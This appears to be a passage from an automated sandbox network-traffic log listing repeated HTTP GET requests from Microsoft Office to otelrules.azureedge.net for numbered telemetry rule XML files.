Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
